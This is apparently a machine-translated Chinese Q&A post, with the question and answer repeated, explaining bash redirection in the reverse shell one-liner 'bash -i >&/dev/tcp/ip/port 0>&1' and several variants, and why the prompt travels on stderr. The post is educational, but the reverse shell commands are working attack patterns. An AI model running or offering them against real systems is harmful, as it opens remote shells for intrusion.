Bash 反转 shell 奇怪的行为
Bash reverse shell strange behavior
我今天尝试尽可能多地理解一个命令(找到 here)以在受害者端打开反向 shell。在这里:
bash -i >&/dev/tcp/ip/port 0>&1
然而,我并没有完全明白为什么第一个重定向是>&
。我明白 /dev/tcp/ip/port
是由 bash 创建的 "pseudo" 文件,但我没有找到信息是否必须将其视为真实文件或文件描述符。因此,我试着把它当作一个真实的文件,并像这样重写了 bash 命令:
bash -i >/dev/tcp/ip/port 0>&1
在这种情况下,发生了一种奇怪的行为:反向 shell 正在按预期工作(我可以在攻击者端键入一些命令并在攻击者端也获得输出),除了一个输出: bash 命令提示符文本。所以唯一没有打印在攻击者端但在受害者端的是:
bash-4.4$
其他一切都按预期打印,即在攻击方。
我尝试的最后一个测试是像这样更改 bash 命令:
bash -i >/dev/tcp/ip/port <&1
确实,在阅读 bash 的手册页后,使用 <
重定向对我来说更有意义,正如手册页中所述,这将打开文件描述符 1
用于读取文件描述符 0
。在这里,出现了与第二个命令相同的问题(除了 bash 命令提示符 bash-4.4$
之外,所有内容都打印在攻击者身上)。
我还注意到像这样重定向 stderr:
bash -i >/dev/tcp/ip/port 2>&2 <&1
解决了问题,就好像 bash-4.4$
打印在 stderr 上一样...
因此我有四个问题找不到答案:
-
/dev/tcp
和 /dev/udp
应该被视为文件还是直接作为文件描述符?这相当于问:我们应该写 echo "hello" >/dev/tcp/ip/port
还是 echo "hello" >&/dev/tcp/ip/port
?
- 为什么作者使用
0>&1
而不是 <&1
来更改标准输入,它怎么可能在命令的第一个版本中起作用?
- 为什么第二个和第三个命令会出现这种奇怪的行为?怎么可能只有部分输出被重定向?在我看来,它应该要么重定向所有内容,要么什么都不重定向。
- 为什么在最后一个命令中重定向 stderr 可以解决问题?这不是在第一个命令(作者的原始命令)上完成的,但它仍然有效..
非常感谢您的回答!我希望我把这个 post 说得尽可能清楚了。
bash
中的一个文件描述符是一个数字, i. e. 一个或多个数字,所以/dev/…
肯定不是文件描述符。您被特殊构造 >&
误导了,除非后面跟着一个数字,否则它不是用于复制输出文件描述符的重定向运算符,而是 redirecting standard output and standard error.
的不受欢迎的格式
为什么作者使用0>&1
来改变stdin而不是<&1
,只有他(或能读懂他心思的人) ) 可以告诉;我同意你的看法,使用 <
重定向更有意义。这两个版本都有效,因为 &1
指的是 /dev/tcp/<i>ip</i>/<i>port</i>
,既可以读取也可以写入。
这种行为一点也不奇怪,因为正如您已经写过的那样,提示 打印在 stderr 上。
嗯,重定向标准错误 是 在第一个命令上完成通过 >&
.
我今天尝试尽可能多地理解一个命令(找到 here)以在受害者端打开反向 shell。在这里:
bash -i >&/dev/tcp/ip/port 0>&1
然而,我并没有完全明白为什么第一个重定向是>&
。我明白 /dev/tcp/ip/port
是由 bash 创建的 "pseudo" 文件,但我没有找到信息是否必须将其视为真实文件或文件描述符。因此,我试着把它当作一个真实的文件,并像这样重写了 bash 命令:
bash -i >/dev/tcp/ip/port 0>&1
在这种情况下,发生了一种奇怪的行为:反向 shell 正在按预期工作(我可以在攻击者端键入一些命令并在攻击者端也获得输出),除了一个输出: bash 命令提示符文本。所以唯一没有打印在攻击者端但在受害者端的是:
bash-4.4$
其他一切都按预期打印,即在攻击方。
我尝试的最后一个测试是像这样更改 bash 命令:
bash -i >/dev/tcp/ip/port <&1
确实,在阅读 bash 的手册页后,使用 <
重定向对我来说更有意义,正如手册页中所述,这将打开文件描述符 1
用于读取文件描述符 0
。在这里,出现了与第二个命令相同的问题(除了 bash 命令提示符 bash-4.4$
之外,所有内容都打印在攻击者身上)。
我还注意到像这样重定向 stderr:
bash -i >/dev/tcp/ip/port 2>&2 <&1
解决了问题,就好像 bash-4.4$
打印在 stderr 上一样...
因此我有四个问题找不到答案:
-
/dev/tcp
和/dev/udp
应该被视为文件还是直接作为文件描述符?这相当于问:我们应该写echo "hello" >/dev/tcp/ip/port
还是echo "hello" >&/dev/tcp/ip/port
? - 为什么作者使用
0>&1
而不是<&1
来更改标准输入,它怎么可能在命令的第一个版本中起作用? - 为什么第二个和第三个命令会出现这种奇怪的行为?怎么可能只有部分输出被重定向?在我看来,它应该要么重定向所有内容,要么什么都不重定向。
- 为什么在最后一个命令中重定向 stderr 可以解决问题?这不是在第一个命令(作者的原始命令)上完成的,但它仍然有效..
非常感谢您的回答!我希望我把这个 post 说得尽可能清楚了。
的不受欢迎的格式bash
中的一个文件描述符是一个数字, i. e. 一个或多个数字,所以/dev/…
肯定不是文件描述符。您被特殊构造>&
误导了,除非后面跟着一个数字,否则它不是用于复制输出文件描述符的重定向运算符,而是 redirecting standard output and standard error.为什么作者使用
0>&1
来改变stdin而不是<&1
,只有他(或能读懂他心思的人) ) 可以告诉;我同意你的看法,使用<
重定向更有意义。这两个版本都有效,因为&1
指的是/dev/tcp/<i>ip</i>/<i>port</i>
,既可以读取也可以写入。这种行为一点也不奇怪,因为正如您已经写过的那样,提示 打印在 stderr 上。
嗯,重定向标准错误 是 在第一个命令上完成通过
>&
.